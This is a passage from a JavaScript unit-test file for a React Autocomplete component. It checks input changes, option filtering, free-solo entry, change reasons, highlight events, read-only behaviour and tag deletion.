'three']}\n          renderInput={(params) => {\n            return (\n              <TextField\n                {...params}\n                slotProps={{\n                  ...params.slotProps,\n                  input: {\n                    ...params.slotProps.input,\n                    startAdornment: (\n                      <InputAdornment position=\"end\">\n                        <Tooltip title=\"tooltip\" open>\n                          <div>ICON</div>\n                        </Tooltip>\n                      </InputAdornment>\n                    ),\n                  },\n                }}\n              />\n            );\n          }}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const tooltip = screen.getByText('tooltip');\n\n      fireEvent.click(tooltip);\n\n      expect(textbox).not.toHaveFocus();\n    });\n  });\n\n  describe('controlled', () => {\n    it('controls the input value', () => {\n      const handleChange = spy();\n      function MyComponent() {\n        const [, setInputValue] = React.useState('');\n        const handleInputChange = (event, value) => {\n          handleChange(value);\n          setInputValue(value);\n        };\n        return (\n          <Autocomplete\n            options={[]}\n            inputValue=\"\"\n            onInputChange={handleInputChange}\n            renderInput={(params) => <TextField {...params} autoFocus />}\n          />\n        );\n      }\n\n      render(<MyComponent />);\n\n      expect(handleChange.callCount).to.equal(0);\n      fireEvent.change(document.activeElement, { target: { value: 'a' } });\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][0]).to.equal('a');\n      expect(document.activeElement.value).to.equal('');\n    });\n\n    it('should fire the input change event before the change event', () => {\n      const handleChange = spy();\n      const handleInputChange = spy();\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          onInputChange={handleInputChange}\n          open\n          options={['foo']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(handleInputChange.calledBefore(handleChange)).to.equal(true);\n    });\n  });\n\n  describe('prop: filterOptions', () => {\n    it('should ignore object keys by default', () => {\n      render(\n        <Autocomplete\n          open\n          options={[\n            {\n              value: 'one',\n              label: 'One',\n            },\n            {\n              value: 'two',\n              label: 'Two',\n            },\n          ]}\n          getOptionLabel={(option) => option.label}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      let options;\n      options = screen.queryAllByRole('option');\n      expect(options.length).to.equal(2);\n\n      fireEvent.change(document.activeElement, { target: { value: 'value' } });\n      options = screen.queryAllByRole('option');\n      expect(options.length).to.equal(0);\n\n      fireEvent.change(document.activeElement, { target: { value: 'one' } });\n      options = screen.queryAllByRole('option');\n      expect(options.length).to.equal(1);\n    });\n\n    it('limits the amount of rendered options when `limit` is set in `createFilterOptions`', () => {\n      const filterOptions = createFilterOptions({ limit: 2 });\n      render(\n        <Autocomplete\n          open\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n          filterOptions={filterOptions}\n        />,\n      );\n      expect(screen.queryAllByRole('option').length).to.equal(2);\n    });\n\n    it('does not limit the amount of rendered options when `limit` is not set in `createFilterOptions`', () => {\n      const filterOptions = createFilterOptions({});\n      render(\n        <Autocomplete\n          open\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n          filterOptions={filterOptions}\n        />,\n      );\n      expect(screen.queryAllByRole('option').length).to.equal(3);\n    });\n  });\n\n  describe('prop: freeSolo', () => {\n    it('pressing twice enter should not call onChange listener twice', () => {\n      const handleChange = spy();\n      const options = [{ name: 'foo' }];\n      render(\n        <Autocomplete\n          freeSolo\n          onChange={handleChange}\n          open\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal(options[0]);\n\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('should not delete exiting tag when try to add it twice', () => {\n      const handleChange = spy();\n      const options = ['one', 'two'];\n      const view = render(\n        <Autocomplete\n          defaultValue={options}\n          options={options}\n          onChange={handleChange}\n          freeSolo\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          multiple\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(textbox, { target: { value: 'three' } });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(view.container.querySelectorAll('[class*=\"MuiChip-root\"]')).to.have.length(3);\n\n      fireEvent.change(textbox, { target: { value: 'three' } });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(view.container.querySelectorAll('[class*=\"MuiChip-root\"]')).to.have.length(3);\n    });\n\n    it('should not fire change event until the IME is confirmed', () => {\n      const handleChange = spy();\n      render(\n        <Autocomplete\n          freeSolo\n          onChange={handleChange}\n          options={[]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      // Actual behavior when \"あ\" (Japanese) is entered on macOS/Safari with IME\n      fireEvent.change(textbox, { target: { value: 'あ' } });\n      fireEvent.keyDown(textbox, { key: 'Enter', keyCode: 229 });\n\n      expect(handleChange.callCount).to.equal(0);\n\n      fireEvent.keyDown(textbox, { key: 'Enter', keyCode: 13 });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal('あ');\n    });\n\n    it('should render endAdornment only when clear icon or popup icon is available', () => {\n      const view = render(\n        <Autocomplete freeSolo options={[]} renderInput={(params) => <TextField {...params} />} />,\n      );\n\n      expect(view.container.querySelector(`.${classes.endAdornment}`)).to.equal(null);\n    });\n  });\n\n  describe('prop: onChange', () => {\n    it('provides a reason and details on option creation', () => {\n      const handleChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          freeSolo\n          onChange={handleChange}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(textbox, { target: { value: options[2] } });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal(options[2]);\n      expect(handleChange.args[0][2]).to.equal('createOption');\n      expect(handleChange.args[0][3]).to.deep.equal({ option: options[2] });\n    });\n\n    it('provides a reason and details on option selection', () => {\n      const handleChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          onChange={handleChange}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'Enter' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal(options[0]);\n      expect(handleChange.args[0][2]).to.equal('selectOption');\n      expect(handleChange.args[0][3]).to.deep.equal({ option: options[0] });\n    });\n\n    it('provides a reason and details on option removing', () => {\n      const handleChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          multiple\n          onChange={handleChange}\n          value={options}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'Backspace' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal(options.slice(0, 2));\n      expect(handleChange.args[0][2]).to.equal('removeOption');\n      expect(handleChange.args[0][3]).to.deep.equal({ option: options[2] });\n    });\n\n    it('provides a reason and details on blur', () => {\n      const handleChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          autoSelect\n          onChange={handleChange}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      act(() => {\n        textbox.blur();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal(options[0]);\n      expect(handleChange.args[0][2]).to.equal('blur');\n      expect(handleChange.args[0][3]).to.deep.equal({ option: options[0] });\n    });\n\n    it('provides a reason and details on clear', () => {\n      const handleChange = spy();\n      const options = ['one', 'two', 'three'];\n      const view = render(\n        <Autocomplete\n          multiple\n          value={options}\n          onChange={handleChange}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const button = view.container.querySelector('button');\n      fireEvent.click(button);\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.deep.equal([]);\n      expect(handleChange.args[0][2]).to.equal('clear');\n      expect(handleChange.args[0][3]).to.equal(undefined);\n    });\n  });\n\n  describe('prop: onInputChange', () => {\n    it('provides a reason on input change', async () => {\n      const handleInputChange = spy();\n      const options = [{ name: 'foo' }];\n      const view = render(\n        <Autocomplete\n          onInputChange={handleInputChange}\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      await view.user.type(document.activeElement, 'a');\n\n      expect(handleInputChange.callCount).to.equal(1);\n      expect(handleInputChange.args[0][1]).to.equal('a');\n      expect(handleInputChange.args[0][2]).to.equal('input');\n    });\n\n    it('provides a reason on select reset', async () => {\n      const handleInputChange = spy();\n      const options = [{ name: 'foo' }, { name: 'bar' }];\n      function MyComponent() {\n        const [value, setValue] = React.useState(options[0]);\n        return (\n          <React.Fragment>\n            <Autocomplete\n              onInputChange={handleInputChange}\n              openOnFocus\n              options={options}\n              getOptionLabel={(option) => option.name}\n              renderInput={(params) => <TextField {...params} autoFocus />}\n              value={value}\n            />\n            <button onClick={() => setValue(options[1])} type=\"button\">\n              Reset\n            </button>\n          </React.Fragment>\n        );\n      }\n      const view = render(<MyComponent />);\n\n      await view.user.click(screen.getByText('Reset'));\n\n      expect(handleInputChange.lastCall.args[1]).to.equal(options[1].name);\n      expect(handleInputChange.lastCall.args[2]).to.equal('reset');\n    });\n\n    it('provides a reason on clear', async () => {\n      const handleInputChange = spy();\n      const options = [{ name: 'foo' }];\n      const view = render(\n        <Autocomplete\n          onInputChange={handleInputChange}\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          defaultValue={options[0]}\n        />,\n      );\n\n      await view.user.click(screen.getByLabelText('Clear'));\n\n      expect(handleInputChange.lastCall.args[1]).to.equal('');\n      expect(handleInputChange.lastCall.args[2]).to.equal('clear');\n    });\n\n    it('provides a reason on blur', async () => {\n      const handleInputChange = spy();\n      const options = [{ name: 'foo' }];\n      const view = render(\n        <Autocomplete\n          onInputChange={handleInputChange}\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          clearOnBlur\n        />,\n      );\n\n      await view.user.type(screen.getByRole('combobox'), options[0].name);\n      await view.user.tab();\n\n      expect(handleInputChange.lastCall.args[1]).to.equal('');\n      expect(handleInputChange.lastCall.args[2]).to.equal('blur');\n    });\n\n    it('provides a reason on select option', async () => {\n      const handleInputChange = spy();\n      const options = [{ name: 'foo' }];\n      const view = render(\n        <Autocomplete\n          onInputChange={handleInputChange}\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      await view.user.click(screen.getByLabelText('Open'));\n      await view.user.click(screen.getByRole('option', { name: options[0].name }));\n\n      expect(handleInputChange.lastCall.args[1]).to.equal(options[0].name);\n      expect(handleInputChange.lastCall.args[2]).to.equal('selectOption');\n    });\n\n    it('provides a reason on remove option', async () => {\n      const handleInputChange = spy();\n      const options = [{ name: 'foo' }];\n      const view = render(\n        <Autocomplete\n          onInputChange={handleInputChange}\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          defaultValue={options}\n          multiple\n        />,\n      );\n\n      await view.user.type(screen.getByRole('combobox'), `${options[0].name}{Enter}`);\n\n      expect(handleInputChange.lastCall.args[1]).to.equal('');\n      expect(handleInputChange.lastCall.args[2]).to.equal('removeOption');\n    });\n  });\n\n  describe('prop: blurOnSelect', () => {\n    it('[blurOnSelect=true] should blur the input when clicking or touching options', () => {\n      const options = [{ name: 'foo' }];\n      render(\n        <Autocomplete\n          openOnFocus\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          blurOnSelect\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      let firstOption = screen.getByRole('option');\n      expect(textbox).toHaveFocus();\n      fireEvent.click(firstOption);\n      expect(textbox).not.toHaveFocus();\n\n      fireEvent.click(screen.queryByTitle('Open'));\n      expect(textbox).toHaveFocus();\n      firstOption = screen.getByRole('option');\n      fireEvent.touchStart(firstOption);\n      fireEvent.click(firstOption);\n      expect(textbox).not.toHaveFocus();\n    });\n\n    it('[blurOnSelect=\"touch\"] should only blur the input when an option is touched', () => {\n      const options = [{ name: 'foo' }];\n      render(\n        <Autocomplete\n          openOnFocus\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          blurOnSelect=\"touch\"\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      let firstOption = screen.getByRole('option');\n      fireEvent.click(firstOption);\n      expect(textbox).toHaveFocus();\n\n      fireEvent.click(screen.queryByTitle('Open'));\n      firstOption = screen.getByRole('option');\n      fireEvent.touchStart(firstOption);\n      fireEvent.click(firstOption);\n      expect(textbox).not.toHaveFocus();\n    });\n\n    it('[blurOnSelect=\"mouse\"] should only blur the input when an option is clicked', () => {\n      const options = [{ name: 'foo' }];\n      render(\n        <Autocomplete\n          openOnFocus\n          options={options}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          blurOnSelect=\"mouse\"\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      let firstOption = screen.getByRole('option');\n      fireEvent.touchStart(firstOption);\n      fireEvent.click(firstOption);\n      expect(textbox).toHaveFocus();\n\n      fireEvent.click(screen.queryByTitle('Open'));\n      firstOption = screen.getByRole('option');\n      fireEvent.click(firstOption);\n      expect(textbox).not.toHaveFocus();\n    });\n  });\n\n  describe('prop: getOptionLabel', () => {\n    it('is considered for falsy values when filtering the list of options', () => {\n      render(\n        <Autocomplete\n          open\n          options={[0, 10, 20]}\n          getOptionLabel={(option) => (option === 0 ? 'Any' : option.toString())}\n          renderInput={(params) => <TextField {...params} />}\n          value={0}\n        />,\n      );\n\n      const options = screen.getAllByRole('option');\n      expect(options).to.have.length(3);\n    });\n\n    it('is not considered for nullish values when filtering the list of options', () => {\n      render(\n        <Autocomplete\n          open\n          options={[null, 10, 20]}\n          getOptionLabel={(option) => (option === null ? 'Any' : option.toString())}\n          renderInput={(params) => <TextField {...params} />}\n          value={null}\n        />,\n      );\n\n      const options = screen.getAllByRole('option');\n      expect(options).to.have.length(3);\n    });\n\n    it('should update the input value when getOptionLabel changes', () => {\n      const view = render(\n        <Autocomplete\n          value=\"one\"\n          open\n          options={['one', 'two', 'three']}\n          getOptionLabel={(option) => option}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).to.have.property('value', 'one');\n      view.setProps({\n        getOptionLabel: (option) => option.toUpperCase(),\n      });\n      expect(textbox).to.have.property('value', 'ONE');\n    });\n\n    it('should not update the input value when users is focusing', () => {\n      const view = render(\n        <Autocomplete\n          value=\"one\"\n          open\n          options={['one', 'two', 'three']}\n          getOptionLabel={(option) => option}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      expect(textbox).to.have.property('value', 'one');\n      fireEvent.change(textbox, { target: { value: 'a' } });\n      view.setProps({\n        getOptionLabel: (option) => option.toUpperCase(),\n      });\n      expect(textbox).to.have.property('value', 'a');\n    });\n\n    it('should not throw error when nested options are provided', () => {\n      render(\n        <Autocomplete\n          openOnFocus\n          autoHighlight\n          options={[\n            { property: { name: 'one' } },\n            { property: { name: 'two' } },\n            { property: { name: 'three' } },\n          ]}\n          getOptionLabel={(option) => option.property.name}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      expect(() => {\n        fireEvent.focus(screen.getByRole('combobox'));\n      }).not.to.throw();\n    });\n  });\n\n  it('should specify option key for duplicate options', () => {\n    render(\n      <Autocomplete\n        open\n        options={[\n          { name: 'one', id: '1' },\n          { name: 'two', id: '2' },\n          { name: 'three', id: '3' },\n          { name: 'three', id: '4' },\n        ]}\n        getOptionLabel={(option) => option.name}\n        getOptionKey={(option) => option.id}\n        renderInput={(params) => <TextField {...params} autoFocus />}\n      />,\n    );\n\n    fireEvent.change(document.activeElement, { target: { value: 'th' } });\n    const options = screen.getAllByRole('option');\n    expect(options.length).to.equal(2);\n  });\n\n  describe('prop: fullWidth', () => {\n    it('should have the fullWidth class', () => {\n      const renderInput = spy((params) => <TextField {...params} />);\n      const { container, rerender } = render(\n        <Autocomplete fullWidth options={[0, 10, 20]} renderInput={renderInput} value={null} />,\n      );\n\n      expect(container.querySelector(`.${classes.root}`)).to.have.class(classes.fullWidth);\n      expect(renderInput.lastCall.args[0].fullWidth).to.equal(true);\n\n      rerender(\n        <Autocomplete\n          fullWidth={false}\n          options={[0, 10, 20]}\n          renderInput={renderInput}\n          value={null}\n        />,\n      );\n\n      expect(container.querySelector(`.${classes.root}`)).not.to.have.class(classes.fullWidth);\n      expect(renderInput.lastCall.args[0].fullWidth).to.equal(false);\n    });\n\n    it('should pass fullWidth as true to renderInput if not provided', () => {\n      const renderInput = spy((params) => <TextField {...params} />);\n      const view = render(\n        <Autocomplete options={[0, 10, 20]} renderInput={renderInput} value={null} />,\n      );\n\n      expect(view.container.querySelector(`.${classes.root}`)).not.to.have.class(classes.fullWidth);\n      expect(renderInput.lastCall.args[0].fullWidth).to.equal(true);\n    });\n  });\n\n  it('should not override internal listbox ref when external listbox ref is provided by testing if highlighting works', () => {\n    const handleHighlightChange = spy();\n    const externalListboxRef = React.createRef(null);\n\n    render(\n      <Autocomplete\n        options={['one', 'two', 'three']}\n        slotProps={{\n          listbox: {\n            ref: externalListboxRef,\n          },\n        }}\n        renderInput={(params) => <TextField {...params} autoFocus />}\n        onHighlightChange={handleHighlightChange}\n      />,\n    );\n\n    const textbox = screen.getByRole('combobox');\n\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // open listbox\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight first option\n\n    expect(handleHighlightChange.callCount).to.equal(1);\n  });\n\n  describe('prop: onHighlightChange', () => {\n    it('should not trigger event when default value is passed', () => {\n      const handleHighlightChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          defaultValue={options[0]}\n          onHighlightChange={handleHighlightChange}\n          options={options}\n          open\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      expect(handleHighlightChange.callCount).to.equal(0);\n    });\n\n    it('should support keyboard event', () => {\n      const handleHighlightChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          onHighlightChange={handleHighlightChange}\n          options={options}\n          open\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n\n      expect(handleHighlightChange.callCount).to.equal(1);\n      expect(handleHighlightChange.lastCall.args[0]).not.to.equal(undefined);\n      expect(handleHighlightChange.lastCall.args[1]).to.equal(options[0]);\n      expect(handleHighlightChange.lastCall.args[2]).to.equal('keyboard');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      expect(handleHighlightChange.callCount).to.equal(2);\n      expect(handleHighlightChange.lastCall.args[0]).not.to.equal(undefined);\n      expect(handleHighlightChange.lastCall.args[1]).to.equal(options[1]);\n      expect(handleHighlightChange.lastCall.args[2]).to.equal('keyboard');\n    });\n\n    it('should support mouse event', () => {\n      const handleHighlightChange = spy();\n      const options = ['one', 'two', 'three'];\n      render(\n        <Autocomplete\n          onHighlightChange={handleHighlightChange}\n          options={options}\n          open\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const firstOption = screen.getAllByRole('option')[0];\n      fireEvent.mouseMove(firstOption);\n      expect(handleHighlightChange.callCount).to.equal(1);\n      expect(handleHighlightChange.lastCall.args[0]).not.to.equal(undefined);\n      expect(handleHighlightChange.lastCall.args[1]).to.equal(options[0]);\n      expect(handleHighlightChange.lastCall.args[2]).to.equal('mouse');\n    });\n\n    it('should pass to onHighlightChange the correct value after filtering', () => {\n      const handleHighlightChange = spy();\n      const options = ['one', 'three', 'onetwo'];\n      render(\n        <Autocomplete\n          onHighlightChange={handleHighlightChange}\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(document.activeElement, { target: { value: 'one' } });\n      expect(screen.getAllByRole('option').length).to.equal(2);\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      expect(handleHighlightChange.args[handleHighlightChange.args.length - 1][1]).to.equal(\n        options[2],\n      );\n    });\n\n    it('should reset the highlight when the options change and onHighlightChange should not be called', () => {\n      const handleHighlightChange = spy();\n      const view = render(\n        <Autocomplete\n          onHighlightChange={handleHighlightChange}\n          openOnFocus\n          autoHighlight\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      expect(handleHighlightChange.callCount).to.equal(0);\n\n      view.setProps({ options: ['four', 'five'] });\n\n      checkHighlightIs(screen.getByRole('listbox'), 'four');\n      expect(handleHighlightChange.callCount).to.equal(0);\n    });\n  });\n\n  it('should filter options when new input value matches option', () => {\n    const handleChange = spy();\n    render(\n      <Autocomplete\n        openOnFocus\n        options={['one', 'two']}\n        onChange={handleChange}\n        renderInput={(params) => <TextField autoFocus {...params} />}\n      />,\n    );\n    const textbox = screen.getByRole('combobox');\n\n    fireEvent.change(textbox, { target: { value: 'one' } });\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.deep.equal('one');\n    expect(textbox).to.have.attribute('aria-expanded', 'false');\n\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n    expect(textbox).to.have.attribute('aria-expanded', 'true');\n\n    expect(screen.getAllByRole('option')).to.have.length(2);\n\n    fireEvent.change(textbox, { target: { value: 'on' } });\n    fireEvent.change(textbox, { target: { value: 'one' } });\n\n    expect(screen.getAllByRole('option')).to.have.length(1);\n  });\n\n  it('should prevent the default event handlers', () => {\n    const handleChange = spy();\n    const handleSubmit = spy();\n    function Test() {\n      return (\n        <div\n          onKeyDown={(event) => {\n            if (!event.defaultPrevented && event.key === 'Enter') {\n              handleSubmit();\n            }\n          }}\n        >\n          <Autocomplete\n            options={['one', 'two']}\n            onChange={handleChange}\n            onKeyDown={(event) => {\n              if (event.key === 'Enter') {\n                event.defaultMuiPrevented = true;\n              }\n            }}\n            renderInput={(params) => <TextField autoFocus {...params} />}\n          />\n        </div>\n      );\n    }\n    render(<Test />);\n    const textbox = screen.getByRole('combobox');\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n    fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n    fireEvent.keyDown(textbox, { key: 'Enter' });\n    expect(handleChange.callCount).to.equal(0);\n    expect(handleSubmit.callCount).to.equal(1);\n  });\n\n  describe('prop: slotProps', () => {\n    it('should keep AutocompletePopper mounted if keepMounted is true in popper props', () => {\n      // Autocomplete is not opened\n      render(\n        <Autocomplete\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n          slotProps={{\n            popper: { 'data-testid': 'popperRoot', keepMounted: true },\n          }}\n        />,\n      );\n\n      const popperRoot = screen.getByTestId('popperRoot');\n      expect(popperRoot.style.display).to.equal('none');\n    });\n  });\n\n  describe('prop: readOnly', () => {\n    it('should make the input readonly', () => {\n      render(\n        <Autocomplete\n          readOnly\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const input = screen.getByRole('combobox');\n      expect(input).to.have.attribute('readonly');\n    });\n\n    it('should not render the clear button', () => {\n      render(\n        <Autocomplete\n          readOnly\n          defaultValue=\"one\"\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(screen.queryByTitle('Clear')).to.equal(null);\n    });\n\n    it('should not apply the hasClearIcon class', () => {\n      const view = render(\n        <Autocomplete\n          readOnly\n          defaultValue=\"one\"\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(view.container.querySelector(`.${classes.root}`)).not.to.have.class(\n        classes.hasClearIcon,\n      );\n      expect(view.container.querySelector(`.${classes.root}`)).to.have.class(classes.hasPopupIcon);\n    });\n\n    it('should focus on input when clicked', () => {\n      render(\n        <Autocomplete\n          readOnly\n          defaultValue=\"one\"\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      fireEvent.click(textbox);\n      expect(textbox).toHaveFocus();\n\n      act(() => {\n        textbox.blur();\n      });\n      fireEvent.click(screen.queryByTitle('Open'));\n\n      expect(textbox).toHaveFocus();\n    });\n\n    it('should not open the popup', () => {\n      render(\n        <Autocomplete\n          readOnly\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n      fireEvent.mouseDown(textbox);\n      expect(screen.queryByRole('listbox')).to.equal(null);\n    });\n\n    it('should not be able to delete the tag when multiple=true', () => {\n      const view = render(\n        <Autocomplete\n          readOnly\n          multiple\n          defaultValue={['one', 'two']}\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      const chip = view.container.querySelector(`.${chipClasses.root}`);\n      expect(chip).not.to.have.class(chipClasses.deletable);\n\n      const textbox = screen.getByRole('combobox');\n      act(() => {\n        textbox.focus();\n      });\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(2);\n      fireEvent.keyDown(textbox, { key: 'Backspace' });\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(2);\n    });\n\n    it('should not be able to delete the tag using Backspace when using renderValue', () => {\n      const view = render(\n        <Autocomplete\n          readOnly\n          options={['one', 'two']}\n          defaultValue=\"one\"\n          renderInput={(params) => <TextField {...params} />}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n        />,\n      );\n\n      const chip = view.container.querySelector(`.${chipClasses.root}`);\n      expect(chip).not.to.have.class(chipClasses.deletable);\n\n      const textbox = screen.getByRole('combobox');\n      act(() => {\n        textbox.focus();\n      });\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n      fireEvent.keyDown(textbox, { key: 'Backspace' });\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n    });\n  });\n\n  // https://github.com/mui/material-ui/issues/36114\n  describe('deleting a tag immediately after adding it while the listbox is still open', () => {\n    it('should allow it, given that options are primitive values', () => {\n      const view = render(\n        <Autocomplete\n          multiple\n          disableCloseOnSelect\n          filterSelectedOptions\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight the first option...\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // ...and select it\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight another option\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n\n      fireEvent.keyDown(textbox, { key: 'Backspace' });\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(0);\n    });\n\n    it('should allow it, given that options are objects', () => {\n      const view = render(\n        <Autocomplete\n          multiple\n          disableCloseOnSelect\n          filterSelectedOptions\n          options={[{ label: 'one' }, { label: 'two' }, { label: 'three' }]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight the first option...\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // ...and select it\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight another option\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n\n      fireEvent.keyDown(textbox, { key: 'Backspace' });\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(0);\n    });\n  });\n\n  describe('should apply the expanded class', () => {\n    it('when listbox having options is opened', () => {\n      const view = render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const root = view.container.querySelector(`.${classes.root}`);\n\n      expect(root).not.to.have.class(classes.expanded);\n\n      const textbox = 